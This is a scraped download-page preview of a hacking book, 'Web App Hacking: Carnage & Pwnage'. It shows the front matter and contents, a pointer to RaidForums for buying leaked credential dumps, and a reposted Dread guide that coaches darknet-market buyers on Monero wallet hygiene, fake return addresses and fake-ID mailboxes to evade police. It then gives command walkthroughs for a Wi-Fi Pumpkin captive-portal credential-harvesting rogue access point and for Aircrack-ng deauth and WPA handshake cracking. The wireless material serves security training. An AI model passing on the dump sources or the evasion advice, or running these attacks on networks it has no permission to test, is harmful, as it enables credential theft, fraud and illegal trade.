Web App Hacking: Carnage & Pwnage (Cyber Secrets) 9798690346447


288 118 28MB

English Pages [177]

Report DMCA / Copyright

DOWNLOAD PDF FILE

Recommend Papers

Web App Hacking: Carnage & Pwnage (Cyber Secrets)
 9798690346447

  • 0 0 0
  • Like this paper and download? You can publish your own PDF file online for free in a few minutes! Sign Up
File loading please wait...
Citation preview

WEBAPPHACKI NG:CARNAGE&PWNAGE

CyberSecr et s

Web App Hacking: Carnage & Pwnage “WITH GREAT POWER COMES GREAT RESPONSIBILITY”, Uncle Ben By Information Warfare Center

1

Web App Hacking: Carnage & Pwnage WITH GREAT POWER COMES GREAT RESPONSIBILITY Cyber Secrets 7 Copyright © 2021 by Information Warfare Center All rights reserved. No part of this book may be reproduced in any form or by any electronic or mechanical means including information storage and retrieval systems without permission in writing from the publisher First Edition First Published: July 1, 2021 Authors: Jeremy Martin, Richard Medlin, Nitin Sharma, Frederico Luis Ferreira, Shoriful Islam, Vishal M Belbase, Ambadi MP, Yang Sze Jue, Carlyle Collin Editors: Jeremy Martin, Daniel Traci, Joshua Martin Illustrator: Daniel Traci The information in this book is distributed on an “As IS” basis, without warranty. The author and publisher have taken great care in preparation of this book but assumes no responsibility for errors or omissions. No liability is assumed for incidental or consequential damages in connection with or arising out of the use of the information or programs contained herein. Rather than use a trademark symbol with every occurrence of a trademarked name, this book uses the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. All trademarks presented in the magazine were used only for informative purposes. All rights to trademarks presented in the magazine are reserved by the companies which own them. The writer and publisher of this article do not condone the misuse of Tor for illegal activity. This is purely instructional for the purposes of anonymous surfing on the internet for legal usage and for testing Tor traffic monitoring in a subsequent article. To access .onion sites, you must have access to the Tor network. To access i2p sites, you must have access to the I2P network. To access any Surface Web site, you must have access to the Internet. Cataloging-in-Publication Data: ISBN: 9798690346447 Disclaimer: Do NOT break the law! 2

About the Team Jeremy Martin, CISSP-ISSAP/ISSMP, LPT CSI Linux Developer linkedin.com/in/infosecwriter A Security Researcher that has focused his work on Red Team penetration testing, Computer Forensics, and Cyber Warfare. He is also a qualified expert witness with cyber/digital forensics. He has been teaching classes such as OSINT, Advanced Ethical Hacking, Computer Forensics, Data Recovery, AND SCADA/ICS security since 2003. Richard Medlin CSI Linux Developer linkedin.com/in/richard-medlin1 An Information Security researcher with 20 years of information security experience. He is currently focused on writing about bug hunting, vulnerability research, exploitation, and digital forensic investigations. Richard is an author and one of the original developers on the first all-inclusive digital forensic investigations operating systems, CSI Linux. Nitin Sharma CSI Linux Developer linkedin.com/in/nitinsharma87 A cyber and cloud enthusiast who can help you in starting your Infosec journey and automating your manual security burden with his tech skillset and articles related to IT world. He found his first love, Linux while working on Embedded Systems during college projects along with his second love, Python for automation and security. Carlyle Collins linkedin.com/in/carlyle-c-cyber Carlyle is currently pursuing an MSc. Cyber Security Engineering while serving as an intern at the Information Warfare Center. For over three years he has served as a Forensic Chemist and is now interested in applying his analytical skills and critical thinking to the Digital Forensics arena. Vishal Belbase in.linkedin.com/in/vishal-belbase-0396b313a He is a young security enthusiast who loves to know the inner working, how do things happen how are they working this curiosity led to make him pursue diploma in computer science and then undergrad in cybersecurity and forensics. Area of interest malware analysis, red teaming, and digital forensics.

Frederico Ferreira linkedin.com/in/frederico-l-ferreira He is a Cyber Security Enthusiast, currently working as a Senior IT Analyst. Experience and broad knowledge in a wide range of IT fields. Skilled in IT and OT systems with a demonstrated history of working in the oil & energy industry. Frederico is passionate about new technologies and world history.

3

Ambadi MP linkedin.com/in/ambadi-m-p-16a95217b A Cyber Security Researcher primarily focused on Red Teaming and Penetration Testing. Experience within web application and network penetration testing and Vulnerability Assessment. Passion towards IT Industry led to choose career in IT Sector. With a short period of experience in Cyber Security domain got several achievements and acknowledged by Top Reputed Companies and Governmental Organizations for Securing their CyberSpace. Daniel Traci CSI Linux Contributor linkedin.com/in/edanieltraci MERN full stack developer, Certified Professional Scrum Master and experienced project manager. Master of Science in Diplomatic Studies. Permanently in love with international relations, security, and the creative part of marketing. Previously held roles such as Program Coordinator at the Information and Documentation Center on NATO and served as Parliamentary Advisor to the Office of the President of the European People’s Parliamentary Group in Moldova. Shoriful Islam A young cybersecurity enthusiast working as a Level II SOC Analyst. He is focused on Web Application Security, Vulnerability Research and Management. He is always excited to learn new technologies.

4

Table of Contents About the Team .............................................................................................................................. 3 Breaches and your data ................................................................................................................ 5 CSI Linux Dark Web Investigations .............................................................................................. 6 Dark Web Corner............................................................................................................................ 7 Tor Search Engines ...................................................................................................................... 7 Monero: common mistakes to avoid ............................................................................................ 7 CYBERSECURITY BEST PRACTICES FOR INDUSTRIAL CONTROL SYSTEMS........................ 9 GrassMarlin .................................................................................................................................... 9 Industrial Control System Exploitation Framework..................................................................... 9 Remote Nodes ........................................................................................................................... 10 Wi-Fi Pumpkin .............................................................................................................................. 11 Installation .................................................................................................................................. 11

Install wp3 ...................................................................................................................... 12 Wireless Adaptor............................................................................................................ 13 Usage ............................................................................................................................ 13 Capturing Credentials Attack ......................................................................................... 14 The Attack Specifics ...................................................................................................... 14 Conclusion ..................................................................................................................... 16 Resources ...................................................................................................................... 16 Aircrack-ng ................................................................................................................................... 17 Installation .................................................................................................................................. 17 Testing Wireless Chipset ............................................................................................................ 17

Determining the Wireless Card Chipset ......................................................................... 17 Put the card in monitor to determine whether it supports that mode. ............................. 17 WPA/WPA2 Cracking ................................................................................................................. 19 The Experiment .......................................................................................................................... 20

Using John the Ripper to crack the pre-shared key ....................................................... 23 Conclusion ..................................................................................................................... 24 Resources ...................................................................................................................... 24 Web Application Exploitation:An Introduction .......................................................................... 25 Web Application Vulnerabilities .................................................................................................. 26

Allowing Domains or Accounts to Expire ....................................................................... 26 Buffer Overflow .............................................................................................................. 26 Business Logic Vulnerability .......................................................................................... 26 CRLF Injection ............................................................................................................... 26 Empty String Passwords ................................................................................................ 27 Insecure Third-Party Domain Access............................................................................. 27 Insufficient Session-ID Length ....................................................................................... 27 Missing Error Handling................................................................................................... 27 Missing XML Validation .................................................................................................. 27 Password Plaintext Storage ........................................................................................... 28 Session Variable Overloading ........................................................................................ 28 Unrestricted File Upload ................................................................................................ 28 Using a broken or risky cryptographic algorithm ............................................................ 28 Improper Error Handling ................................................................................................ 29 Failure to Restrict URL Access ...................................................................................... 29 Insufficient Transport Layer Protection .......................................................................... 29 Attacks on Web Application ........................................................................................................ 30

5

CSV Injection ................................................................................................................. 30 Cache Poisoning ........................................................................................................... 30 Clickjacking.................................................................................................................... 30 Cross-Site Request Forgery .......................................................................................... 31 Denial of Service (DoS) ................................................................................................. 31 Directory Traversal ........................................................................................................ 31 Forced Browsing ............................................................................................................ 31 Man-In-The-Middle (MITM) ............................................................................................ 32 Reverse “TabNabbing” .................................................................................................. 32 Session Hijacking .......................................................................................................... 32 Unicode Encoding ......................................................................................................... 32 Server Side Request Forgery – SSRF ........................................................................... 33 Mitigation ....................................................................................................................... 35 File Inclusion Vulnerability ............................................................................................. 35 OWASP , The Guardian of Modern Apps .................................................................................... 38 Injection ...................................................................................................................................... 39

HTML Injection .............................................................................................................. 39 SQL Injection ................................................................................................................. 40 LDAP Injection ............................................................................................................... 43 Broken Authentication ................................................................................................................. 47 Sensitive Data Exposure ............................................................................................................. 48 XML External Entities .................................................................................................................. 49

DTD ............................................................................................................................... 49 XXE to File Retrieval ..................................................................................................... 50 XXE to SSRF ................................................................................................................. 50 Blind XXE ...................................................................................................................... 51 Xinclude ......................................................................................................................... 51 Broken Access Control................................................................................................................ 52 Security misconfiguration ............................................................................................................ 56

CORS ............................................................................................................................ 56 X-XSSProtection ............................................................................................................ 59 X-Content-Type-Options ................................................................................................ 59 Cross-site Scripting ..................................................................................................................... 59

Reflected XSS ............................................................................................................... 59 Stored Xss ..................................................................................................................... 59 Dom XSS ....................................................................................................................... 60 Blind XSS ...................................................................................................................... 60 Insecure Deserialization .............................................................................................................. 61 Using Components with Known Vulnerabilities............................................................................ 62 Insufficient Logging & Monitoring ................................................................................................ 62 Vulnerability scanning using OWASP ......................................................................................... 65 Setting Up ZAP Environment ...................................................................................................... 65 Scanning vulnerabilities: ............................................................................................................. 66

Active scan .................................................................................................................... 66 Passive scan ................................................................................................................. 66 Walk through of an OWASP Zap scan:.......................................................................... 67 Example Scan: .............................................................................................................. 69 More Indepth with SQL Injections ............................................................................................... 70 How an SQL Injection Occurs? ................................................................................................... 70

Example 1: Inputting malicious code into user input fields............................................. 70 Types of SQL Injection Attacks...................................................................................... 72 2

Mitigating SQL Injections ............................................................................................... 73 Walkthrough: Escaping the user input ........................................................................................ 74 More Indepth with XML eXternal Entity injection ....................................................................... 77 What are the types of XXE attacks? ........................................................................................... 77 Exploiting XXE to retrieve files .................................................................................................... 77 Exploiting XXE to perform SSRF attacks .................................................................................... 78

Blind XXE vulnerabilities ................................................................................................ 79 XInclude attacks............................................................................................................. 79 XXE attacks via file upload ............................................................................................ 79 XXE attacks via modified content type ........................................................................... 79 How to find and test for XXE vulnerabilities ................................................................... 80 How to prevent XXE vulnerabilities ................................................................................ 80 XXE Walkthrough ....................................................................................................................... 81 More Indepth with Cross Site Scripting (XSS) ........................................................................... 82 EXAMPLE .................................................................................................................................. 82

Why does this happen? ................................................................................................. 83 Exploiting XSS............................................................................................................................ 84

Type of XSS ................................................................................................................... 84 Finding XSS (Summary) ................................................................................................ 85 OWASP XSS Prevention Rules ..................................................................................... 86 Practice XSS .................................................................................................................. 86 XSS Walkthrough 1 .................................................................................................................... 87 XSS Walkthrough 2 .................................................................................................................... 88 XSS Walkthrough 3 .................................................................................................................... 89

Challenge 1 .................................................................................................................... 89 Challenge 2 .................................................................................................................... 90 Challenge3 ..................................................................................................................... 91 More Indepth with Session Hijacking ......................................................................................... 93 Session hijacking via XSS .......................................................................................................... 95 Session hijacking Using XSS Walk through ................................................................................ 97

Session Hijacking Countermeasures ........................................................................... 100 More Indepth with Cross-site request forgery (CSRF) ............................................................ 101 What is the impact of a CSRF attack? ...................................................................................... 101

How does CSRF work?................................................................................................ 101 How to construct a CSRF attack .................................................................................. 102 How to deliver a CSRF exploit ..................................................................................... 103 Common CSRF vulnerabilities ..................................................................................... 103 Validation of CSRF token depends on request method ............................................... 103 Validation of CSRF token depends on token being present ......................................... 104 CSRF token is not tied to the user session .................................................................. 104 CSRF token is tied to a non-session cookie ................................................................ 104 CSRF token is simply duplicated in a cookie ............................................................... 105 Referer-based defenses against CSRF ....................................................................... 105 Referer header ............................................................................................................. 105 Validation of Referer depends on header being present .............................................. 106 Walkthrough 1 (CSRF vulnerability with no defenses) .............................................................. 107 Walkthrough 2 (Validation of CSRF token depends on request method) .................................. 110 Race Condition: The Less Tested Web Vulnerability .............................................................. 112 Real World Attack Scenario: ..................................................................................................... 112 Race Condition Walkthrough .................................................................................................... 113

Now check the application ........................................................................................... 115 3

Reverse Web hacking with MSFVenom .................................................................................... 117 Pivoting and Data Exfiltration .................................................................................................... 119 The various phases of post exploitation are as follows: ............................................................. 119 Pivoting Example: ..................................................................................................................... 120 Chisel ........................................................................................................................................ 128 Privilege Escalation Examples .................................................................................................. 130 Linux ......................................................................................................................................... 130

SUID and SGID ........................................................................................................... 130 Credentials Stored on system ...................................................................................... 130 Exploiting vulnerable MySQL running as root .............................................................. 130 Windows ................................................................................................................................... 131

Credentials Stored on system ...................................................................................... 131 Mimikatz Pass-the-Hash .............................................................................................. 131 Container Security: The Torpedo’s Offense ............................................................................. 132 Container Technology: Introduction........................................................................................... 133 Container Technology: Architecture .......................................................................................... 134 Docker Primer: Introduction to Docker Terminology .................................................................. 135

Docker Basics.............................................................................................................. 137 Docker Architecture and Internals ............................................................................... 138 Namespaces in Docker................................................................................................ 141 Cgroups in Docker ....................................................................................................... 141 Union File Systems in Docker...................................................................................... 142 Walkthrough: Attacking Models for Docker Exploitation ............................................................ 146 Docker Penetration Testing Checklist ....................................................................................... 167 Cyber Secrets Contributors ....................................................................................................... 170 Information Warfare Center Publications ................................................................................. 172

4

Breaches and your data Most of the breach leaks that hit the public are caused by web application vulnerabilities like SQL Injections. Sites like RaidForums.org has been profiting off your data for years. It costs about $8 to download a database including the biggest one to date containing Collection #1-5, Antipublic, and Zarburg. This is over 1 Terabyte of email address and password combinations… You can download the Collection #1-5 & Zabagur & AntiPublic from RaidForums raidforums.com/Thread-Collection-1-5-Zabagur-AntiPublic-Latest-120GB-1TBTOTAL-Leaked-Download 5

CSI Linux Dark Web Investigations There has been a bit of evolution within the CSI Linux environment including some additions to social media (SOCMINT) and dark web investigations. With CSI Linux having the CSI TorVPN built into the distribution and an app to configure the virtual appliance to work with the Whonix Gateway, connecting to Tor is pretty simple without your identity or original IP address. This also allows you access to the .onion sites without having to jump through hoops while giving you access to almost all of your investigation tools. When doing these types of investigations, you either need to take over a trusted account (more of a Law Enforcement take over) or build an account that can be trusted. This is very similar to your basic Social Media Intelligence 9SOCMINT) Sock Puppets accounts. The biggest benefit is that you do not have to worry as much about the Terms of Services (TOS) issues like you would with FaceBook (Yes, FaceBook has an .onion address at https://facebookcorewwwi.onion). One tool that we have had a lot of luck with is KeePassXC. This allows us to store all of our sock puppet information in an encrypted database along with investigator notes where we can share it with other people if needed. We also suggest a burner phone. One that you can but at a local store which I usually inexpensive, can come with a SIM card, and you can use cash for. If you tie all the sock puppet accounts that are tied to a specific persona to that burner phone, you can more easily create a persona and history with that investigation alias. CSI Linux has added an Android emulator called Anbox or Android in a Box that can help you do the same thing. However, you may still need a “real world” google account to set up the play store and what not. The main goal in the end is to build a persona that is not tied to your personal “real world” identity in case the suspect retaliates in the real world. You do not want them coming after you or worse, your family and friends. Now, there are a lot of resources you can use that we have covered in previous issues of Cyber Secrets ranging from email accounts to specialized search engines. The biggest thing to keep in mind is to separate your real world persona from your investigation persona. You need to become someone else when you are investigation a suspect. There is a saying in the investigative community. The target has to be lucky every single time. You only have to be lucky once… Take that to heart. Think of that exact saying from the other point of view… You make one mistake, and you are burned… That can mean many things and most of them are bad… If you would like to see a basic walkthrough of the capabilities, you can watch this video on YouTube: CSI Linux Walkthrough - https://youtu.be/EvvN1xFJGvg

6

Dark Web Corner

Tor Search Engines BTDigg: btdiggwzoyrwwbiv.onion "BTDigg is the first Mainline DHT search engine.[1][2][3] It participated in the BitTorrent DHT network, supporting the network, and making correspondence between magnet links and a few torrent attributes (name, size, list of files) which are indexed and inserted into a database. For end users, BTDigg provides a full-text database search via Web interface. " Wikipedia DuckDuckGo: 3g2upl4pq6kufc4m.onion "DuckDuckGo Search Engine – World best privacy-oriented search engine, that doesn’t track any search engine logs. By this search engine, you can find Clearnet or dark web both type links. If you are looking best google alternative, then always try DuckDuckGo. DuckDuckGo launched in 2008, and still growing these day millions or people use DuckDuckGo every day. If you are privacy geek, then set DuckDuckGo as a primary search engine in your browser." Haystack: haystak5njsmn2hqkewecpaxetahtwhsbs a64jom2k22z5afxhnpxfid.onion "You can search required deep web links with the help of any type of specific keywords. Only you need to put your query in the search engine text field then hit the search button." DarkFail : darkfailllnkf4vf.onion “a simple one-page website which lists a number of Onion URLs which checks the online-status of various websites. Its philosophy is to protect users against phishing attacks. Lists both legal as well as illegal sites. Has around 50 URLs on the page”.

Monero: common mistakes to avoid by /u/beyourownbank in /d/OpSec Dread /post/1f8080b38207e7a338f1 “Copied from Dread and Slightly modified for the readers – Still contains language” What's up people, its ya boy beyourownbank, teaching you how to avoid some common mistakes when using Monero. While Monero may be untraceable, I see a lot of you making some real rookie mistakes. In this guide, I will explain how to avoid these mistakes. As an added bonus, I will mention some cash in the mail OPSEC as well, seeing as these topics intertwine. KYC exchange opsec You can obtain Monero through various exchanges, either KYC or non KYC. KYC is short for know your customer. This required you to use your own info (id, address, other docs) in order to use the exchange. In most cases, it is perfectly safe to obtain crypto this way. However, a few common mistakes are made. One common mistake is when people use cake wallet for DNM buys. Think about it, cake wallet is a phone wallet... Why are phones all of a sudden safe for darknet use? They're not! You also can't delete any of the old wallets unless you factory reset your phone (I think?), which is not good. Wallet sanitation is key in this game, you don't want to have wallet addresses associated with DMN's. Worst case, a market gets seized and now they have wallet addresses associated with the market. Let's just say they get a warrant for your phone; it 7

would be very easy for them to link the transactions to the market since cake doesn't delete old transactions. Something a little more scary to consider, since it's a phone, they might not even need a warrant to do this. A lot of people underestimate LE, but they have tech that's literally designed to fuck your shit up. One example is Cellebrite. This software allows LE to collect data on all the apps on your device. All they need is a fresh phone and your number, and they're in. Not to mention backdoors, but I assume most people know about this already. Another mistake is using a wallet associated with a KYC exchange. Now for the most part, using a KYC exchange isn't the worst thing in the world. However, using a wallet to make a purchase that is associated with your KYC exchange is. It is the same reasons I mention above, if the market is seized, they can associate the address you used when they inevitably seize your computer. Now of course, I'm thinking the worst-case scenario, but that’s the thing... YOU ALWAYS NEED TO THINK THE WORST CASE! If you're not on your shit at all times, you will easily fall into the lap of LE, in some interrogation room, probably confessing to shit you don't need to. From what I've read, that's how most of these arrests go. When they seize your computer, they will be able to associate the purchases you make based on the transactions, the amounts, the actual address the wallets send coin to... Not to mention, some exchanges need email confirmation in order to add a withdrawal address. Last thing I want to talk about with KYC exchanges (really any exchange) is you need to plan out your buys, and not do this all in one day. Consider how much you need to spend weeks to a month before you buy, even plan further. Transfer your funds through a few different wallets over the course of a few days. Simple as that! Non KYC I usually treat the non KYC exchanges the same, that being change your wallets a few times. Never use a wallet associated with any exchange you withdraw coin to. Especially if you're using a conversion service from bitcoin to Monero. Even elude will tell you this. I would even change wallets after obtaining Monero from local Monero, as the person on the other end could be anyone. Like I've said, even though this is untraceable, they can associate transactions with the amounts you buy/spend in the worst case. That being, they seize yo shit, which can happen. Cash in the mail I see a lot of people asking about cash in the mail. One common question is "should I use my real return address?"

8

This is entirely up to you, but I me being a paranoid person, I say FUCK DAT! I personally always use a fake return, as the person on the other side can be anyone. Anyone would be, LE or an extortionist. Both will ruin your day. keep in mind your return needs to be a real address, just not yours. Just don't make it look like you're shipping anthrax for suck sake. If you're worried about the package getting returned to sender, you could open a business P.O box, a parcel locker, or even a UPS box with fake ID. I would not use fake ID with USPS boxes, as you have the USPIS looking over your shoulder. Yeah, sending cash isn’t illegal... But fraud is 10-15 years. I’m not too savvy on the parcel lockers, but from my understanding they’re pretty easy to set up. Just follow basic burner phone OPSEC and use a gift card to set up. I'd recommend sealing your cash in a zip-lock baggy. Dogs are trained to smell cash, and while sending cash in the mail is not illegal, it may be opened due to suspicion. Now, I've never had one of these packages opened so I don't know what happens when it happens. My guess, you get fucked out of money. Do you wanna get fucked out of money? Didn't think so. Wallet Sanitation

CYBERSECURITY BEST PRACTICES FOR INDUSTRIAL CONTROL SYSTEMS "Industrial Control Systems (ICS) are important to supporting US critical infrastructure and maintaining national security. ICS owners and operators face threats from a variety of adversaries whose intentions include gathering intelligence and disrupting National Critical Functions. As ICS owners and operators adopt new technologies to improve operational efficiencies, they should be aware of the additional cybersecurity risk of connecting operational technology (OT) to enterprise information technology (IT) systems and Internet of Things (IoT) devices." - www.cisa.gov cisa.gov/sites/default/files/publications/ Cybersecurity_Best_Practices_for_Industr ial_Control_Systems.pdf

GrassMarlin "Provides situational awareness of Industrial Control Systems (ICS) and Supervisory Control and Data Acquisition (SCADA) networks in support of network security assessments. #nsacyber" github.com/nsacyber/GRASSMARLIN

Wallet sanitation is very important and will avoid trouble down the road even if you're in police custody. They cannot associate a wallet address to any buy if there are no wallets to associate with you. I would delete wallets shortly after using them on markets, assuming you don't need them for refund/disputes of course. I would even go as far as to change the wallets you use after every few purchases. You don't have to go crazy and use a new wallet after every single purchase, but I personally cap it at 3. It can't hurt to change your wallets this often, trust me. The fees are as low as a penny, you can afford it... 9

Industrial Control System Exploitation Framework "The Industrial Exploitation Framework (ISF) is an exploitation framework similar to Metasploit written in Python. It is based on the open source Routersploit tool. It contains exploits for several types of controllers, such as QNX, Siemens and Schneider devices and includes several scanners." github.com/dark-lbp/isf

Remote Nodes Lastly, I want to briefly talk about remote nodes and using full node. Using a remote node is safe for most threat models, especially being a buyer. It is recommended that you change your node after each session. Of course, it is a lot safer using a full node. I personally have not tried using a full node as I don’t have a large enough USB, but it is possible to do so on tails. If you have the space, I’d recommend using full node for added security, but not needed. A more detailed post about remote nodes, I feel I have to credit Thotbot here: (dread) /post/769995e72d1e18bae2e4/#c-32f11a9295d8513c3d Info on how to set up full node on tails CLEARNET WARNING https://old.reddit.com/r/Monero/comments/h8pbc2/ guide_setting_up_a_Monero_full_node_on_tails/ List of remote nodes: xmrguide42y34onq.onion/remote_nodes Reminder to always get links from reputable source, though that is the real link to the guide. Also, worth mentioning, but I would save the node list locally in your persistent in case the guide site is down. Not to mention, this will save you some time either way. I hope this guide was informative. I apologize for my rudeness; I am a bit blasted. If you have any questions, ask away! I tried to be as organized as possible with this, I hope I wasn’t too all over the place (or too rude). Stay safe and fuck the feds! Most crypto currencies can be tracked because all transactions are public. That is how the transactions are verified by the rest of the community. During investigations, you are hoping to track the transactions to a wallet where you can identify the owner. Many times, the wallets can be identified do to bad OPSEC from the owner. With sites like blockchain.com, you can track Bitcoins and Ethereum. Chain.so can track LiteCoin, Dogecoin, Dash, and Zcash. "Monero transactions are much more difficult to trace because they use ring signatures and stealth addresses. These methods help to hide the identities of the sender and the receiver. Additionally, Ring Confidential Transactions, or RingCT, helps to conceal the transaction amount, providing more privacy." - investopedia.com

10

Wi-Fi Pumpkin By Carlyle Collins Wi-Fi Pumpkin is a framework designed for mounting a rouge access point (AP) attack in order to implement a man-in-the-middle (MITM) attack on a wireless network. Additionally, Wi-Fi pumpkin may be used for: • • • • •

Intercepting, inspecting, modifying, and replaying web traffic Credential harvesting Deauthentication attacks DNS monitoring Wi-Fi network scanning

This walkthrough will use wifipumpkin3 (wp3) on a Kali Linux virtual OS. In order to use wifipumpkin3 you need Python 3.7 or later. NB. Wp3 is not supported on the Windows OS. I’ll be doing the exercise with root privilege. If you don’t have root access, you’ll need to put sudo before the commands.

Installation Firstly, check the version of python installed. python3 --version

If not installed use sudo apt install python3.8

Install the following system packages and OS-level dependencies sudo apt install libssl-dev libffi-dev build-essential

Clone the wp3 from github. git clone https://github.com/P0cL4bs/wifipumpkin3.git

11

Now change into the wp3 directory. cd wifipumpkin3

Install PYQt5. sudo apt install python3-pyqt5

Qt is a group of cross-platform C++ libraries which implement high-level APIs for accessing numerous current desktop and mobile systems. Examples of these systems include location services, multimedia and Bluetooth connectivity. However, PyQt5 is a collection of python bindings for Qt v5. It is implemented as more than 35 extension modules and enables Python to be used as an alternative application development language to C++ on all supported platforms. Check whether pyqt5 was installed python3 -c "from PyQt5.QtCore import QSettings; print('done')"

If you see done printed to the screen you may proceed to the next step. Install wp3 python3 setup.py install

You should see the following at the end, if successfully installed.

Now launch wp3 by using wifipumpkin3

You should now see WiFiPumpkin3 screen.

the

following

12

Wireless Adaptor To utilize wp3 we need to ensure that the wireless adaptor and kernel driver support AP mode. This can be done by the following command iw list

Scroll down until you see ‘Supported interface modes.’ If you see AP within that list, then your wireless adapter is suitable. The Resources section below contains a link of suitable adapters if you are considering purchasing one.

Usage Once started, with the command wifipumpkin3, you will see an interactive session which allows you to enable/disable modules, plugins etc.

13

Capturing Credentials Attack Now let us try a simple attack using wp3! Firstly, ensure “hostapd” is installed on your system. Check using: sudo hostapd -v

If installed, you should the below.

If not installed, install using sudo apt install hostapd

The Attack Specifics At times when you are connecting to a Wi-Fi network you get a notification which requires that you perform an action before being able to utilize the Wi-Fi. Often, this notification is a login screen. This screen is known as a Captive Portal. We will utilize this in order to capture someone’s credentials. Check the name of the interface for your wireless adaptor by using: iwconfig

Start wp3 using the interface found above. wifipumpkin3 -i wlan0

14

You can type help to see commands available at each stage.

help

Let us check the status of the AP we are trying to launch by typing: ap

Let us now check the proxies available for use. proxies

You can see captiveflask is active. We will be using that proxy. To get it running use: set proxy captiveflask

15

Now start the access point and wait for someone to connect to it and capture their credentials. Launch the access point (Default SSID is WiFi Pumpkin 3) by using: start

Go to another device and try to connect to the AP WiFi Pumpkin 3 and observe what happens on your console. The picture below shows the credentials captured.

Conclusion A walkthrough of the installation and a wireless attack using wp3 was demonstrated. Hopefully, you have seen how simple it is to capture credentials by using a rogue access point! Be cautious when connecting to new Wi-Fi networks. Resources • • • •

https://github.com/P0cL4bs/wifipumpkin3 https://wifipumpkin3.github.io/docs/getting-started#installation https://pypi.org/project/PyQt5/ https://elinux.org/RPi_USB_Wi-Fi_Adapters

16

Aircrack-ng By Carlyle Collins Aircrack-ng is a collection of tools used to assess WiFi network security. It concentrates on four areas of WiFi security. These are: • • • •

Monitoring: In this mode packets are captured, and the contained information is converted to text files. These are then analyzed by third party tools. Attacking: Replay; fake access point and deauthentication attacks may be launched. Testing: WiFi cards and driver capabilities may be examined. Cracking: WEP and WPA PSK (WPA 1 & 2) can be cracked.

This suite of tools can be accessed from the command line and works mainly with the Linux Operating System (OS). However, aircrack-ng can be used on Windows OS, OS X, FreeBSD among others. This tutorial, however, will focus on using aircrack-ng on a Linux OS. A link is included for those of you who prefer to use Windows OS. NB. You need root level access to perform this experiment.

Installation Aircrack-ng is usually up to date and preinstalled in penetration testing distributions. Therefore, if you’re a beginner I would suggest using such a distro, for example Kali Linux. If you prefer not to, at the end of this chapter are resources to help you compile aircrack-ng from source. However, firstly, check whether you have aircrack-ng installed by using the following command: apt policy aircrack-ng

Testing Wireless Chipset Determining the Wireless Card Chipset Chipsets are the electronics on a card which facilitate wireless communication. All chipsets are not supported by aircrack-ng. Therefore, it is necessary to determine whether the chipset of your current wireless adaptor or the one you intend to purchase is compatible. Put the card in monitor to determine whether it supports that mode. Find the name of the wireless card by using: ifconfig

17

My card’s interface is listed as wlan0. To put it in monitor mode use: airmon-ng start wlan0

This command will also show the wireless chipset of the current card. You may then check aircrack-ng’s website to determine whether your card’s chipset is compatible or not. This tool (airmon-ng) puts the wireless adaptor into promiscuous mode which allows it to see and receive network traffic within its vicinity and not only that which is addressed to it. Since the monitor mode has been enabled, by using ifconfig once more you should see that the name of the wireless interface’s name has changed to wlan0mon. Next use the following command to determine whether the current card can sniff wireless traffic: airodump-ng wlan0mon

You should see something like this:

18

This tool displays access points within range, their speed, encryption method among other things. This tool is particularly useful in password cracking. In order to test the injection capability of your card use the following command: aireplay-ng --test wlan0mon

This tool is used to generate or accelerate traffic on the access point (AP). This can be used in deauthentication attacks which bump everyone off the AP; or ARP injection and replay attacks. If the above tests were successful, the chipset of your card can be used in promiscuous mode as well as inject packets, which allows it to be used by the aircrack-ng suite for wireless hacking.

WPA/WPA2 Cracking Now that you have ensured your card is compatible with aircrack-ng, you may attempt this exercise. It is important that this exercise is done on an AP that you have permission to experiment with. Furthermore, choose a simple password for the AP in order to help the process and make it simpler. In order for this experiment to work correctly, you need to ensure that you are physically close enough to the AP to inject packets. Usually, you can receive packets from the AP from a greater distance that you can inject. Additionally, on the network that you’re attacking, there needs to be at least one active client connected. This is so because this experiment seeks to capture a handshake between the AP and the device. Required information Find out and make a note the following information. •

Wireless interface

You can find this by using ifconfig command.

BSSID- the MAC address of AP being attacked; ESSID- Wireless network name; AP channel

19

Use the command: airodump-ng wlan0mon

These are the results of using the commands above for my specific system: • • • • •

BSSID: BC:98:DF:66:C2:F0 ESSID: Yo! AP channel: 3 Wireless interface: wlan0 Wireless interface (in monitor mode): wlan0mon

The Experiment The process of WPA cracking is similar to what was done to ensure the wireless adaptor is compatible with aircrack-ng. Check the status of your interfaces. ifconfig

If the wireless interface is not in monitor mode put it in monitor mode. airmon-ng start wlan0

Check to see whether you successfully placed the interface into monitor mode. iwconfig

20

Now you need to gather information about the AP to be attacked. airodump-ng start wlan0mon

Check for information about the AP you have permission to experiment with. Now that you know the channel that the AP is operating on, you can lock the wireless card to that channel. Firstly, you need to stop, then restart the wireless interface. airmon-ng stop wlan0mon

Start wlan0 interface locked on to channel 3, which is the AP’s channel. airmon-ng start wlan0 3

You should use iwconfig once more to ensure the above settings were instituted.

21

In a new terminal input the following command and leave the command executing. airodump-ng -c 3 --bssid BC:98:DF:66:C2:F0 -w handshake wlan0mon

The -c option specifies the channel of the AP. The -bssid is the AP’s MAC address as found above. The -w writes the output to a file named handshake. You can choose any name for the file that you find convenient.

Monitor the output to determine whether a four-way handshake was captured. If a handshake were captured it would appear in the top right of the image (within the empty red box). The 4-way handshake is the exchanging of 4 messages between an AP and a client device in order to generate encryption keys to be used to encrypt data sent wirelessly. Since no handshake has been captured, you can either wait until a new device authenticates with the AP or you can deauthenticate a device that is currently connected and capture the handshake when it re-authenticates. We will do a deauth attack. In order to do this, we will use the MAC of a client device currently connected to the AP. This is highlighted in the red box at the bottom of the above image. The following command is used to launch the deauth attack. aireplay-ng -0 3 -a BC:98:DF:66:C2:F0 -c FC:FC:48:76:4E:08 wlan0mon

The -0 specifies it is a deauth attack. The 3 is the channel of the AP. The -a option tags the AP’s MAC address and -c option tags the MAC address of the connected client which will be deauthenticated.

After deauthentication and reauthentication, you can now see that a WPA handshake was successfully captured. We can now stop the airodump-ng -c 3 --bssid BC:98:DF:66:C2:F0 -w handshake wlan0mon command by using ctrl + C.

22

Using John the Ripper to crack the pre-shared key Aircrack-ng supports password cracking, but to give you experience of using another tool, we’ll use the popular John the Ripper tool to crack the pre-shared key captured in the handshake file. NB. The preshared key will be stored in whatever file name you used in the previous airodump command. I did this experiment a number of times hence my key is stored in a file called ‘handshake-06’ instead of ‘handshake’.

In order to use “John the Ripper”, the file used to dump the captured traffic needs to be converted into a text file. This is done by using the following commands. Firstly, it is converted into hccap format using: aircrack-ng handshake-06.cap -J handshake-06

